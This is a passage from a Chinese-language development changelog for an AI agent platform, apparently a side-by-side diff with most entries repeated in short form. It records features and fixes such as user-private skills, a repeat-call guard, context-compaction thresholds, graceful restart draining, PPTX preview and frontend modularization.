落地清单 #2 #4)。 |
--- ---
## 已完成关键能力 ## 已完成关键能力
### 2026-06-11
- **dev SPA「技能」查看 modal(左侧 rail 底部入口)**:因 `.skills` 在文件面板隐藏,加左侧 rail 底部「我的资源」分组(`#rail-resources`,留位给后续「记忆」)+「技能」按钮 → 弹 modal 分「平台 skill / 我的 skill」两组列表,点任一项展开**完整 SKILL.md**(`GET /v1/skills/{name}` + 现有 markdown 渲染),「我的」每项带删除(二次确认 → `DELETE /v1/skills/{name}`,只删 user 源 + 防穿越);覆盖标 `已覆盖平台同名`,`load_errors` 提示未加载的。创建/改/fork 仍走对话。新 `web/static/js/skills.js`(零构建 ES module,main.js import + Esc 栈接入);`/v1/skills` 已带 source/overrides/load_errors。**纯查看 + 删除,不在 UI 做创建/编辑**(编辑天然对话式)。
- **用户私有 skill(每用户 `.skills/`,可从零写或 fork 内置再改)**:`SkillRegistry` 从单目录改**多来源**(`SkillSource` 列表:内置 `ROOT/skills` + 用户 `user_root/.skills`),后扫同名覆盖先扫 → **user wins**;覆盖关系记进 `user_overrides`,discovery 显式标 `[你的·已覆盖内置]`(不静默)。`Skill` 加 `source` 字段;`from_dir` 区分"无 SKILL.md(静默跳过)"与"有但格式错(抛 `SkillLoadError`)",`_scan` 捕获用户来源的错收进 `load_errors`、注入 system prompt 提示用户修(一个坏 skill 不再崩整次扫描)。容器路径改写从 LoadSkillTool 下沉到 registry(`container_dir` 按 `source``/sandbox/skills``/workspace/.skills`),LoadSkillTool 去掉 `container_skills_dir` 参数。**关键判断**:写 skill 用 host-side typed tool(`save_skill`/`fork_skill`,`tools/skill_authoring.py`)而非 fs/shell —— 因 fs 的 base_dir 锚 cwd(host)/ 容器 wd(docker),都够不到 `user_root/.skills`,跨 backend 不可靠;host-side 工具知道 user_root 一个落点两模式通吃(与 seedream/DocumentDownload 一致范式)。`save_skill` 写时校验 frontmatter(名合法 / YAML 合法 / 有 description / name 一致),`fork_skill` copytree 整目录(带脚本)+ 自动把 frontmatter name 对齐新名(否则 fork ppt 仍叫 ppt 会反覆盖内置)。`.skills` 是 dotfile(文件面板隐藏,与 `.memory` 一致;`validate_task_name` 已禁 `.` 起头 working_dir,天然不撞)。`/v1/skills` 带上用户 skill + `source`/`overrides_builtin`/`load_errors`。新增 `skill-creator` 引导 skill。+`test_user_skills.py`(20 例)+ 改写 `test_load_skill.py`。性能:多扫一目录,没 `.skills` 的用户一次 `exists()` 跳过;有 skill 仅每 run +1-3ms,不在热路径。
### 2026-06-10 ### 2026-06-10
- **dev SPA 加克制入场微动效(纯 CSS、单文件、可一键回退)**:`web/static/dev.html` 的 `<style>` 补 5 处低风险微动效,保留现有红主色/VS Code 三栏审美不改风格——① 消息气泡 `.msg` 入场淡入+上滑 6px(`msg-in .22s`,历史批量加载退化为一次柔和集体淡入,不抖);② 通用 4 个 modal 卡片 `modal-pop` scale .96→1 弹入 + 遮罩 `modal-fade` 淡入(此前 admin/chpw/src-picker/new-task/file-preview 直接 `display:flex` 无过渡);③ 全局 `button:active` 下压 1px(原仅登录主按钮有);④ `#task-progress-dock.show` 顶部 `dock-in` 滑下淡入;⑤ `@media (prefers-reduced-motion: reduce)` 守卫禁用上述入场动画(spinner/blink 等功能性动画保留)。**二轮补全剩余弹框**:⑥ 下拉操作菜单 `#floating-menu`(任务行 ⋯)`menu-in` 从右上锚点 scale+下落弹出(.14s,菜单要快);⑦ 拖拽上传 overlay `#file-droparea` 复用 `modal-fade` 快淡入;⑧ 上传进度 toast `.upload-status` 复用 `dock-in` 顶部滑下;⑨ 拖拽文件**放下时落点 `#pane-right` 一次 `drop-pulse` 轻回弹脉冲**(`files.js` drop 处理器加 `.drop-pulse` + `animationend` once 自摘 + reflow 保证可重放);上述均纳入 reduced-motion 守卫。**刻意未做**:进度块「打勾」逐步动画——`chat.js` 每 tick `dock.innerHTML` 全量重渲染,keyframe 会逐 tick 重放,故不加。**未做(已定)**:「复制成功 ✓ 闪」——查实当前 SPA **无剪贴板复制功能**(`navigator.clipboard`/`writeText` 零处,"复制"按钮全是文件复制到目录且成功即关弹框),无现成触发点;加复制按钮属"加功能"非"微动效",用户决定先不加,故未保留 `.copied` 死 CSS,以后真加复制入口再接。前端测试 `frontend_task_progress.test.mjs` 仍过。 - **system prompt 精简(瘦身 ~40 行 + 媒体段按需注入)**:`general_v1.md` + `_build_system_prompt` 去冗余:① 「宪法」文件命名约定从 ~25 行压到 ~6 行(只留格式定义 + 注入值 + 一行 current/重定调,操作细节本就由 proposal/ppt skill 各自讲,引用仍成立);② run_python「先 write script 再 script_path」指引去重(原模板 + agent_builder 两处 → 合并进模板 1 处,顺带把 `scripts/` 子目录约定收进去);③ 媒体工具段(seedream/seedance 红线)从常驻模板抽成 `_MEDIA_TOOLS_BLOCK`,仅 `ArkConfig.load() is not None`(有 ARK_API_KEY)时由 agent_builder 追加——无 key 用户不再背 7 行永远报错工具的说明,且 ark_cfg 提前 load 一次复用给下方 tool 注册;④ 「路径 echo 全形式」段 8 行压到 4 行。通用任务每轮 system prompt 净瘦 ~40-50 行,领域 task 加载 skill 后信息不丢。`test_system_prompt_paths` 仍过。
- **上下文压缩加"压力门槛":体量未逼近上限前不压缩(护缓存 + 不丢旧细节)**:此前 `loop` 每轮无条件压缩,短任务也把旧 tool 结果砍掉——既白丢信息(context 预算还很空),又因压缩边界逐轮滑动破 DeepSeek 前缀缓存。落地 `prepare_messages_with_stats(compact_threshold_chars=...)`:总 chars 未超阈值则**完全跳过压缩、原样发**(短任务前缀逐轮字节一致、缓存全程命中);超阈值才走原压缩逻辑。loop 按 `caps.reliable_context × 0.5 × 2.5(char/token 粗折算)` 算阈值(flash ≈ 33 万 chars),`_COMPACT_CONTEXT_RATIO/_CHARS_PER_TOKEN` 两常量可调。`compaction_skipped` 进 stats/`llm_start` 事件可观测。默认阈值 0 = 永远压缩(向后兼容)。背景:实测 task `b27466a0` DeepSeek 缓存命中已 92-94%、滑动边界损失有限(压缩函数确定性、旧消息压缩态稳定),故只补门槛、不改边界为阶梯式(收益仅再抬几个点不值复杂度)。新增 2 测试(below/above 门槛),全量 105 过。 - **上下文压缩加压力门槛**:压缩只在总 chars 超阈值(`caps.reliable_context×0.5×2.5 char/token`,flash ≈33 万)时才做,未超则原样发——护 DeepSeek 前缀缓存(短任务字节逐轮一致、全程命中)+ 不白丢旧细节。`prepare_messages_with_stats(compact_threshold_chars=)`,`compaction_skipped` 进事件;默认 0=向后兼容永远压。实测高轮 task 缓存命中已 92-94%,故只补门槛不改滑动边界。+2 测试
- **单轮停机判据从"步数"解耦为"是否在推进":`max_iterations` 升为纯 backstop + 新增全局「无进展」熔断 + 撞顶明确提示**:DB 诊断 task `b27466a0`(智能体介绍 PPT)所谓"中途断了"——查实=该 run 跑满 `max_iterations`(flash 旧值 50)后 `return "[reached max iterations]"` 干净停下、留一条悬空 tool 结果,用户离开 25min 回来打"继续"才续完(`run_status=idle/run_error=None`,非崩溃);"步骤太长"=少数轮 DeepSeek API 延迟 126-185s,工具本身全 <13s;顺带实测该 task DeepSeek 前缀缓存命中 92-94%,**上下文压缩对缓存几乎无害**(压缩函数确定性旧消息压缩态稳定,只滑动边界这一处断,每轮 miss 几十~几百 token)。**洞察**:`max_iterations` "用户感知的轮(来回对话)""一轮内自主工作步数"混在一个旋钮上——自主 tool 链概念上是 1 ,该松;真正要掐的是"空转"。落地: yaml `max_iterations` flash 50120 / pro 100150,dataclass 默认 50120,定位为安全兜底非""预算;② `_RepeatGuard.record` 多返一个 `productive`(净产出= `[Error]` 且非一字不差重复);③ `_execute_tool_call` 三个返回点都带 `productive`(invalid-JSON/被拦=False);④ run loop 累计 `self._stall`——整步所有 tool 都无净产出则 +1任一净产出清零,连续 `_STALL_LIMIT=8` 步空转主动停(`[stopped: no progress]`),比撞 120 早得多掐死循环, `_RepeatGuard` 逐指纹 HARD=4 双保险;⑤ backstop / 熔断都 emit 明确"回复继续可接着跑"提示,不再静默停。`tests/test_loop_repeat_guard.py` 更新 record 解包调用 + `productive` 信号用例(17 例过,全量 103 )。 - **单轮停机判据从「步数」解耦为「是否在推进」**:`max_iterations` 从「轮预算」降级为纯安全 backstop(flash 50→120 / pro 100→150),真正掐空转靠两道进展信号——`_RepeatGuard` 逐指纹「无产出重复」累计(SOFT2 注提示 / HARD4 拦截)+ run 级全局 `_stall`(整步所有 tool 无净产出 +1、任一净产出清零,连续 8 步主动停)。撞 backstop / 熔断都 emit「回复『继续』可续跑」提示,不静默停。(诊断:task `b27466a0` 所谓「中途断」实为撞旧 50 步上限干净停下。)
- **`systemctl restart` 优雅 drain in-flight run(单实例止血,不再误标 error)**:此前 restart 硬杀 BG run 线程,下次启动 reaper 把所有 `running/cancelling``error: server restarted before run finished` —— 用户一多就不能随便重启。落地纯进程内、**零 DB 改动**:① lifespan 加 `app.state.draining`(asyncio.Event)+ `app.state.inflight`(`{asyncio.Task: task_id}`,顺手修 `create_task` 不留引用可能被 GC 的旧坑);② POST `/messages` 起 run 时登记+done 回调自摘除,draining 置位时返 503+`Retry-After`;③ lifespan `finally` 先置 draining 拒新 run,`asyncio.wait(inflight, drain_timeout)` 等收尾,超时的 `broker.request_cancel` 转协作式 cancel(下个 chunk 间隙退、标 idle 不报 error),再过 `cancel_grace` 仍没退的留给 SIGKILL(最坏退化=改前)。④ `main.py` uvicorn 加 `timeout_graceful_shutdown=5`(否则长连 SSE 无限挡在 drain 前);⑤ `config/agent.yaml``shutdown` 段(drain_timeout 30s / cancel_grace 15s,超时转 cancel = 用户按停止可重发,故偏短);⑥ dev SPA `chat.js` 发送包退避重试(503 背压 + 交接拒连 TypeError 都重试 ~26s,显"服务更新中",耗尽贴友好提示)。**部署强耦合**:unit `TimeoutStopSec` 从 10 提到 90(必须 > drain+grace+sandbox 清扫余量,否则 SIGKILL 砍掉 drain),已写进 RUN.md unit + 故障兜底。B 蓝绿(零 503 窗口)留作触发信号后再做,前置是 instance-aware reaper(§7.8) - **`systemctl restart` 优雅 drain in-flight run**:restart 不再硬杀 BG run 致 reaper 误标 error。纯进程内零 DB 改动:lifespan 加 `draining` + `inflight` 登记,先拒新 run(503+Retry-After)再 `asyncio.wait(drain_timeout)` 收尾,超时转协作式 cancel。部署强耦合:unit `TimeoutStopSec` 提到 90(必须 > drain+grace),前端发送包退避重试
### 2026-06-09 ### 2026-06-09
- **PPTX 前端在线预览(LibreOffice→PDF,DESIGN §8.3 Stage 1)**:此前文件区点 `.pptx` 只能下载(`preview.js._categorize` 归 fallback)。关键洞察=前端已有 PDF iframe 路径(`_showPdf`),所以只要后端把 pptx 转 PDF 就**前端几乎不动**。落地:① 新 `web/pptx_render.py`——`pptx_to_pdf()` 同步可缓存,调 `soffice --headless --convert-to pdf`、**每次独立 `-env:UserInstallation` 临时 profile** 绕单 profile 锁、超时 60s kill;soffice 路径发现复用 render_bg 思路;缓存落源同目录 `.preview/<stem>.<hash>.pdf`(hash=mtime+size,源改即失效;dotdir 不污染文件列表),`_prune_stale` 清旧 hash。② 新端点 `GET /v1/files/preview_pdf`——复用 `_safe_join` 鉴权防穿越 + 仅 `.ppt(x)` + per-path `asyncio.Lock` 防并发重转 + `run_in_executor` 不堵事件循环;soffice 缺失 501 / 转换失败 500。③ `preview.js``ppt` 组,main/mini 共用 `_showPptAsPdf`(fetch PDF→iframe,带 spinner loading + 失败回退下载),`dev.html` 加 `.preview-spinner`(复用 `@keyframes spin`)。**转换跑在 web host 进程,不进沙盒**(沙盒不该有 LibreOffice;预览面向 user_root 任意 pptx,与 deck 生成解耦)。部署:host `apt install libreoffice-impress fonts-noto-cjk`(已写进 RUN.md 一次性 + 故障兜底),sandbox Dockerfile 不动。**未做**(Stage 2):常驻 soffice listener 消冷启、deck 生成后 eager 预转、缩略图导航 - **PPTX 前端在线预览(LibreOffice→PDF,DESIGN §8.3 Stage 1)**:文件区点 `.pptx` 改在线预览。关键洞察=前端已有 PDF iframe 路径,所以后端把 pptx 转 PDF 即可前端几乎不动。新 `web/pptx_render.py`(soffice 转 PDF,独立临时 profile 绕单 profile 锁 + 缓存 `.preview/<hash>.pdf` + 超时 kill)+ `GET /v1/files/preview_pdf`(复用鉴权防穿越 + per-path lock + run_in_executor)。转换在 web host 进程不进沙盒;部署装 libreoffice-impress + noto-cjk
- **药3 复核:`/home/ubuntu/zcbot` 幽灵路径已于 06-03 修复,新任务不复现 + 加回归测试钉死**:接续高轮数烧 token 诊断收尾。证据链——失败 task `ab063233`(06-02 03:54)/`ff1686b7`(06-03 12:02)的首条 assistant 消息(idx1)tool_calls 里就带 `glob(path=/home/ubuntu/zcbot/workspace/users/<真实uid>/数据资源展示)`,**带真 uid 只可能来自当时的 system prompt**(messages 表无 system-role 行,系统提示运行时拼接不入库);两 task 均建于 06-03「system prompt 焊死宿主路径」修复前后。fs 工具在 docker 容器里跑(容器无此宿主路径)→ `[Error] base path not found`(`glob.execute` 对不存在 base 返此错,`_display` 对 user_root 外路径回绝对)→ 重试风暴(实测 51 次)。**复核当前代码**:docker 模式即便传 `tool_base=/home/ubuntu/zcbot` + 真 uid,拼出的 prompt 只含 `/workspace/<wd>`、不含宿主路径/uid/tmp(`agent_builder.py:223-250` docker 分支注入容器路径 + 删 cwd 行);prod 走 docker backend(RUN.md)。新增 `tests/test_system_prompt_paths.py`(2 例:docker 无宿主泄漏 + host 保留本地绝对路径,过)锁住修复防回归。**三味药全部收口**;药1 重复守卫此后还兜底任何同类风暴(同一 51 次会被摁到 ~5 次)。无功能代码改动,仅加测试 - **药3 复核:`/home/ubuntu/zcbot` 幽灵路径不复现 + 回归测试钉死**:该路径(docker 下 system prompt 焊死宿主路径,容器内找不到致 51 次重试风暴)已于 06-03 修复,复核当前代码 docker 分支只注入容器路径不泄漏宿主路径/uid。加 `test_system_prompt_paths.py`(2 例)防回归。高轮数三味药全部收口
- **ppt skill 补「信息设计纪律」+ 混合背景 + pptx 预览器(治"效果还是不太行",深读 pptmaster 后的二次修正)**:用户反馈卡片式 v2 仍不够好,拆其真实产物(`大模型与智能体介绍.pptx`)定位毛病=9 页 4 页雷同卡片网格(全卡=AI 味)、发展历程做成网格(该时间轴)、智能体平铺(该闭环)、图标 0.6 寸太小、投影到处加。**深读 pptmaster 的 executor-base/executor-consultant(-top)/shared-standards 后顿悟**:它像麦肯锡的真因是**信息设计纪律(~70%)**而非 SVG 渲染(~30%),而这些**全是 editable python-pptx 能做的**——之前纠结的"可编辑 vs SVG 转换器"搞错了轴(可编辑都落 DrawingML 同一天花板,转换器零视觉增益)。落地三层:① **信息内功**——`add_takeaway`(论断标题下一句话结论框)、`add_kpi` 加 `baseline+delta`(数据语境化:数字带对比基准+升降色 `GOOD/BAD`)、`add_source`(来源)、`add_toc`(贯通整宽目录);SKILL 策略阶段加论断式标题对照表 + page_rhythm(anchor/dense/**breathing 强制打破卡片网格**)+ 内容→版式映射写进逐页大纲。② **修我搞反的投影**——pptmaster"投影是克制":`add_card` 默认 `shadow=False`(平铺对等卡描发丝边不投影)、每页 ≤2-3 投影、一容器一手段不叠;quality_check 加绿=语义状态色豁免三色制。③ **组合件 + 工具**——`add_card_grid`(均衡网格,2 行改图标左置治"图标顶置挤溢出")/`add_timeline`/`add_cycle`;`render_bg.py`(无头 Chrome 渲杂志级 mesh 渐变背景图,**混合方案**:背景图+原生可编辑白字,封面/章节);**`pptx_preview.py`(把 .pptx 渲成 PNG 肉眼验观感)——quality_check 只查结构,预览补"好不好看",当场抓到 `set_text` 多行只给第一段上色的真 bug(封面副标题第二行变暗看不见)并修复**。验证:重排「大模型与智能体」为 10 页(节奏:封面/目录/章节 anchor · 网格/时间轴 dense · 大字 breathing · 章节/闭环/网格 · 致谢),逐页渲 PNG 亲眼验收均专业,quality_check 全过。改 `skills/ppt/{SKILL.md,references/{design_principles,layouts}.md,scripts/{pptx_helpers,quality_check}.py}` + 新增 `scripts/{render_bg,pptx_preview}.py` + `SKILL_LIST.md`。**未动**:SVG→原生转换器(论证为零增益不做)、live preview server、动画;fetch_icon 的 PNG 后端(cairosvg/svglib)本机未装,暂用种子库 PNG - **ppt skill 补「信息设计纪律」+ 混合背景 + pptx 预览器**:深读 pptmaster 后定位 ppt 观感差真因是信息设计纪律(~70%)非 SVG 渲染(~30%)——且这些全是 editable python-pptx 能做的。加 `add_takeaway`/`add_kpi(baseline+delta)`/`add_source`/`add_toc` + 组合件 `add_card_grid`/`add_timeline`/`add_cycle` + `render_bg.py`(Chrome 渲 mesh 渐变背景)+ `pptx_preview.py`(渲 PNG 肉眼验观感,当场抓到 set_text 多行只给首段上色的 bug);投影改克制(`add_card` 默认不投影)。**未动**:SVG→原生转换器(论证零增益)
### 2026-06-08 ### 2026-06-08
- **loop 加病理性重复调用守卫(药1,治「不停调用同一脚本」的根因 ①②)**:接续批量化诊断——DB 实测高轮数 task 的浪费大头是「同名同参 + 无产出」的重复(`document_search` 122 次、空 `shell{}` 51 次、反复 `glob` 同一不存在路径),而 `core/loop.py` 主循环原本对此**零防护**照单全收。新增 `_RepeatGuard`(AgentLoop 实例持有、活在单次 run 内不跨 task):按 `(工具名, 精确参数 canonical-json)` 指纹跟踪「无产出重复」计数。**命门是只惩罚无产出、绝不误伤正常迭代**——同参但**结果每次不同**(改脚本后重跑 run_python、修 bug 后重跑构建)算有产出、计数清零永不拦;同参且**结果是 `[Error]` 或与之前一字不差**才累计。两档:累计 ≥`SOFT`(2)在 tool 结果尾部注入 `[重复调用警告]` 软提示(模型当轮即见);≥`HARD`(4)下一次同参调用 `should_block` 直接拦截不执行、回 `[已拦截重复调用]` 硬停消息逼其换路(一个卡死调用最多放过 ~4 次无产出重复)。**顺带堵 `_malformed_tool_calls` 的洞**:大参数畸形退化成合法空 `{}` 时 executor 每次返同一句「缺少必填参数」→ 走 dup 分支被同一机制拦下,无需单独特判空 `{}`。`_execute_tool_call` 接线:执行前 `should_block` 拦截、执行后用**截断后未加提示的原始结果**算指纹 `record`(保证同输出哈希一致)、`warn` 事件上抛拦截/首次软提示。改 `core/loop.py`;新增 `tests/test_loop_repeat_guard.py`(7 用例:同错拦截/空`{}`堵洞/同结果拦截/变化结果不拦/修好清零/SOFT 阈值/异参分别跟踪,全过)。**注**:阈值常数化(SOFT/HARD)便于后续按实跑调;药3(`/home/ubuntu/zcbot` 幽灵路径是否新任务仍复现)仍未查。 - **loop 加病理性重复调用守卫(药1)**:`_RepeatGuard` 按 `(工具名, canonical 参数)` 指纹跟踪「无产出重复」——结果每次不同(改脚本重跑)算有产出、清零永不误伤;结果是 `[Error]` 或一字不差才累计;SOFT2 注软提示、HARD4 拦截。顺带堵 `_malformed_tool_calls` 退化成空 `{}` 的风暴。+`test_loop_repeat_guard.py`(7 例)。
- **检索/抓取类 host 工具批量化(治高轮数烧 token,先做的「web_fetch 类」一味药)**:DB 实测诊断(`scripts/diag_*.py`)高轮数 task 的 tool_call 序列——`ff1686b7` coding 任务 `document_search` **122 次**(104 个不同 query,关键词反复微调地毯式搜不收敛)、`document_download` 28 次;`ab063233` documents 任务 **64% 的 tool 结果带错误** + `shell{}`/`run_python{}` 空参数风暴。定位「不停调脚本」是三股根因叠加(空 `{}` 风暴 / 报错重试 / 检索不收敛),其中检索/抓取的往返成本可由**工具形态改造**直接压。本轮把三个 host 工具从「一次一个」改成**接受列表、一轮并发处理一批**(按「开发期不写兼容层」直接换签名、不留单数别名):① `web_fetch` `url`→`urls`(1-10,ThreadPoolExecutor 并发 6,全批正文总预算 16000 字符按条数分摊,单条 SSRF/超时/404 不连坐);② `document_search` `query`→`queries`(1-8,**批内去重** + 批量时自动缩 `max_documents`/`content_chars_per_doc` 防爆 context,每 query 独立 try);③ `document_download` `file_name+kb_name`→`items=[{...}]`(1-10 并发,单条失败标 `[Error]` 不毁整批)。三者输出都按条标注 `=== [i/n] ... ===`、超量截断明示不静默。`tools/{web_fetch,documents}.py` 改;`tests/test_secret_host_tools.py` 同步改新形态 + 加批量并发/去重/失败隔离 3 用例(5 过);`skills/documents/SKILL.md` 签名/工作流/反模式更新(加「一个 query 一轮反复搜」「同义近重复 query 堆叠」两条反模式,呼应诊断 ③)。`DOCUMENT_SEARCH_API.md`(上游 HTTP 接口,本就单 query/次)不动。**未动**:药1(loop `(name,args)` 重复探测器 + 堵空 `{}` 洞,最高杠杆但动核心 loop)、药3(`/home/ubuntu/zcbot` 幽灵路径是否新任务仍复现)——见记忆 `project_high_turn_token_burn_root_causes`,留作后续。 - **检索/抓取类 host 工具批量化**:DB 实测高轮数烧 token 三股根因(空 `{}` 风暴 / 报错重试 / 检索不收敛)。把 `web_fetch`/`document_search`/`document_download` 从单数改列表入参、一轮并发处理一批(批内去重 + 单条失败隔离 + 超量截断明示),直接换签名不留单数别名。
- **ppt skill 视觉系统升级为「卡片式」(治"生成效果不太行")**:学 GitHub `hugohe3/ppt-master`(24.9k★)后定位根因——其好看的核心是「SVG 作画→转原生 PPTX」给足设计自由度,而 zcbot 被 python-pptx **原语**(平矩形+左色条+圆点 bullet)摁死了视觉天花板,出来就是"2010 办公模板"。岔路三选(A 自建 SVG→pptx 转换器=最高天花板但大工程且与"一脚本整建/少来回"冲突;B 升级 python-pptx 设计系统;C 混合),**选 B**(保留单脚本批量架构、原生可编辑、风险低)。落地:① `pptx_helpers.py` 加质感件——`add_card`(圆角矩形 `adjustments[0]` 调圆角 + `a:outerShdw` XML 柔和投影)/`add_gradient_rect`(`fill.gradient()` + 角度)/`add_kpi`(数字卡)/`add_icon_tile`(图标底块)/`add_pill`/`add_eyebrow`/`add_chevron`/`add_notes`(演讲者备注),`set_palette` 从主/辅/强调**派生明暗色阶** `PRIMARY_WASH/SOFT/DARK`+`ACCENT_SOFT`;`apply_brand` 封面/章节改**渐变大色块**;**所有 helper 把 `name=` 写进形状 `.name`**(原来只喂 assert_inside,导致 quality_check 拿不到语义名)。② `layouts.md` 9 版式重写成卡片式 + 扩到 **13 种**(加 L10 KPI 卡 / L11 卡片网格 / L12 流程 / L13 大数字论据)。③ **quality_check 跟新设计语言对齐**(否则每个 deck 淹在假警告里):三色制改**按色相归桶**判(主色深浅/wash tint 不算新色)、小字号/bullet 按 `.name` 豁免标签类、大号展示字(≥40pt)跳过溢出估算、bullet ≤5 改**按列**判(双栏 3+3 不误报、单列 6 仍抓)。④ SKILL.md 工作流加 opt-in 真实配图(走 imagegen,¥0.22/张,大纲标 `[img]`)+ 每页 `add_notes`;`design_principles.md` 加派生色阶/KPI 卡/图表透明底卡片化。验证:13 版式全覆盖 demo deck 建成 + quality_check 全过;单列 6-bullet 回归仍触发。改 `skills/ppt/{SKILL.md,scripts/pptx_helpers.py,scripts/quality_check.py,references/layouts.md,references/design_principles.md}` + `SKILL_LIST.md`。**未动**:SVG 路线(A)、live preview、动画——属更大工程,本轮不上。 - **ppt skill 视觉系统升级为卡片式**:学 ppt-master 后岔路三选,选 B(升级 python-pptx 设计系统,非自建 SVG 转换器——保留单脚本批量架构、原生可编辑)。`pptx_helpers` 加 add_card/gradient/kpi 等质感件 + 派生明暗色阶,layouts 扩到 13 版式,quality_check 按色相归桶对齐三色制。
- **system prompt 加「少来回」全局原则(广谱减轮)**:ppt 之外的长尾 task(改代码/跑数据/画图)没专属 skill 兜,加一条通用 `工作原则`:互相独立、不依赖中间结果的操作(建多页产物/批量改文件/生成整份产物)合到一个脚本或一轮并发 tool call 里做,别一步一 call(每轮重发整段上下文,轮数=token 体量线性乘数);但下一步输入要看上一步结果时(探索检索/按报错改/需用户确认)就老实分步,别硬批——精准措辞避免"过度批处理"踩掉该有的 checkpoint。定位是便宜补充(prompt 走缓存近零成本),不指望它动 100+ 轮大头(那靠结构改造)。改 `prompts/system/general_v1.md` - **system prompt 加「少来回」全局原则**:互相独立的操作合到一个脚本 / 一轮并发 call(轮数=token 线性乘数),但需看上一步结果的就老实分步。便宜补充(走缓存),不指望动 100+ 轮大头。
- **ppt skill 工作流批量化(减高轮数 task 的来回)**:实测高成本 task 几乎全是 100+ 轮的"逐步 tool 调用循环"(rust→PPT 34 轮、文献采集 245 轮),每轮重发整段上下文,轮数是 token 体量的线性乘数。ppt 是最易压、风险最低的试点:原 §阶段二**逐页**(每页 `读spec→glob图标→一个 run_python 加页→等用户确认→下一页`,N 页 ~2N 轮)。改法:① 阶段一 spec 增「逐页大纲」表(页|版式|标题|要点|图标),作为**替代逐页确认的前置 checkpoint**——改文字大纲比建完 slide 再推翻便宜;② 阶段二改成**写一个 `build_deck.py` 一次建整 deck**(同进程 `new_presentation`→按大纲循环 `add_slide`→一次 `save`,坐标天然一致;`pptx_helpers` 模块化已消解原"逐页防漂移"理由),图标**全 deck 批量预取**(不逐页拉);③ quality_check 一次 → 改脚本重跑(不 edit 成品);④ 可选"风格探针"(先建封面+1 页看观感)兜视觉返工险。N 页从 ~2N 轮降到 ~3-4 轮。改 `skills/ppt/SKILL.md`(阶段一/二/三 + 反模式 + 文件树)、`references/layouts.md`(§通用起手换成"整 deck 单脚本"模板)、`SKILL_LIST.md`(流程描述/典型产物同步)。冒烟过:单脚本 `new_presentation`+循环 `add_slide`+`save` 建 2 页成功,API 调用与模板一致。**注**:数据采集类(host 工具中转免不了)是另一条路(拆采集/处理相位),未动。 - **ppt skill 工作流批量化**:阶段二从逐页(每页一 run_python,~2N 轮)改成写一个 `build_deck.py` 一次建整 deck + 图标全 deck 批量预取,逐页大纲表替代逐页确认。N 页降到 ~3-4 轮。
- **修进度还原错乱 + 进度区移到对话区顶部(codex 式)**:根因(查 DB 实锤)= 上下文压缩把旧 `task_progress` tool_call 参数换成 `{"_compacted":true,"step_id":"sX"}` 这种"看着像合法调用"的标记,① 毒化模型让它后续照抄出残废 `update_step`(丢了 `step.status`)并入库,② 残废格式前端 `applyProgressAction` 读不到 `args.step` → s4/s5 永停 pending → 进度显示不对。修复:`context.py` 对 `task_progress` 参数**一律不压缩**(参数本就小,压缩省不了几个 token 却两头坏事);旧的 `_compact_task_progress_arguments` 整个删除。**进度展示重构**:删掉每条消息卡内联进度块(`renderProgressHtml`/`renderProgressInto` 移除),进度统一只在**对话区顶部**单一 `#task-progress-dock`(从 composer 上方移到 `chat-stream` 之上、`flex-shrink:0` 钉顶不滚)实时显示;**完成态折叠**——全部步骤 completed 时 dock 自动收成一行 `✓ 全部完成 · N/N 步`(`<details>` 点开看清单)。prompt + tool 描述改为"跑完把最后一步标 `completed`、不要 `clear`",留住全绿收尾。校验:`python -m unittest tests.test_context_compaction tests.test_task_progress_tool`(12 过,改写 `test_keeps_old_task_progress_arguments_intact` 断言参数原样保留);`node --test tests/frontend_task_progress.test.mjs`(2 过)。
- **修登录无反应(`$ is not defined`)+ 补 favicon 消 404**:`newtask.js` 用了 DOM 简写 `$`(`dom.js` 导出的 `getElementById`)却漏 import,模块加载到顶层 `$("hd-new").onclick` 即抛 `ReferenceError: $ is not defined`,中断 newtask 全部绑定及其 import 的 auth/chat 链路 → 点登录无反应。补 `import { $ } from "./dom.js"` 与其余模块对齐。另在 `dev.html` `<head>` 加内联 SVG data-URI `<link rel="icon">`(蓝底白机器人),浏览器不再请求根 `/favicon.ico`,消掉 404;选内联 SVG 而非新增 `.ico` 文件 / 服务端路由,零新增文件零 app.py 改动。
- **新增 Codex 式 `task_progress` 进度工具 + Web 固定进度区**:`TaskProgressTool` 默认注册到 agent,支持 `set_plan/update_step/clear`,返回极短 UI-only 结果;上下文压缩对旧 `task_progress` tool_call/result 做专门折叠,避免进度历史长期占 prompt。前端新增 `progress.js` 做 task 级进度状态合并,修复 `update_step` 只带 `{id,status}` 时因缺标题不显示的问题;当前进度显示从助手消息内提升到 `#task-progress-dock`(对话流下方、输入框上方),历史消息内仍保留进度块作记录。system prompt + coding/ppt/proposal/analyze skill 加轻量使用约定,要求只在多步骤关键阶段少量更新。**部署侧补静态资源 no-cache**:`NoCacheStaticFiles` 替换默认 `StaticFiles`,让浏览器重新校验 `/static/*.js` 等资源,避免前端修复已部署但旧 `chat.js` 仍被缓存导致看不到进度区。校验:`pytest tests/test_context_compaction.py tests/test_task_progress_tool.py tests/test_executor_docker.py tests/test_static_vendor.py -v` 相关集通过;`node --test tests/frontend_task_progress.test.mjs` 2 过;`node --check web/static/js/chat.js web/static/js/progress.js` 过。
### 2026-06-06 ### 2026-06-06
- **前端模块化 Step 2 收官:抽出 `chat.js`(对话视图)+ main.js 缩成 75 行入口**:最后也是最缠的一块——任务列表(浏览/筛选/滚动)+ selectTask 切换 + renderChatMeta/模型下拉 + renderMessages + live-run 助手 + sendMessage/cancel + fetchSse/handleSseEvent + 润色/粘贴文件 + 完成/废弃/删除/导出/清空(原 main.js 连续区 641132)→ `chat.js`(1086 行)。**决策:合一个 chat.js 而非强拆 tasks.js+stream.js**——读完依赖图确认二者共享 `state.liveRuns` + `chat-stream` DOM + run 生命周期,且 live-run 助手(renderLiveRunIfVisible/ensureRunningTaskSubscribed 等)被 selectTask 和 SSE 机器两边调用、骑墙;强拆会制造双向各 ~4-5 个 import 且边界不自然(用户已确认选合一)。导出 `loadTaskList`/`loadModels`/`selectTask`,embed/files/newtask 对这三个的 import 从 `./main.js` 改指 `./chat.js`;`formatUploadProgress` 加 export(粘贴上传进度用)。**chat 不调 enterApp → 与 main 无环**。`main.js` 仅留 `enterApp`(编排)+ `loadStorage` + Esc 关栈 + boot = **75 行入口**,import 精简到 11 行(layout/markdown/media 不再被 main 直接引用,但经 chat 仍在依赖图、副作用照常)。**校验升级**:除 node 全检 + import/export 一致性,新增**从 main BFS 的模块可达性检查**(14/14 可达,确保副作用模块不掉出图)。dev.html 4087 行单文件 → 14 个零构建 ES module + 纯 HTML;main 2719→75。**路径 1(拆文件)完成**,后续可按需进路径 2(给 chat/files 等局部引 Alpine/petite-vue 响应式)。 - **前端模块化 Step 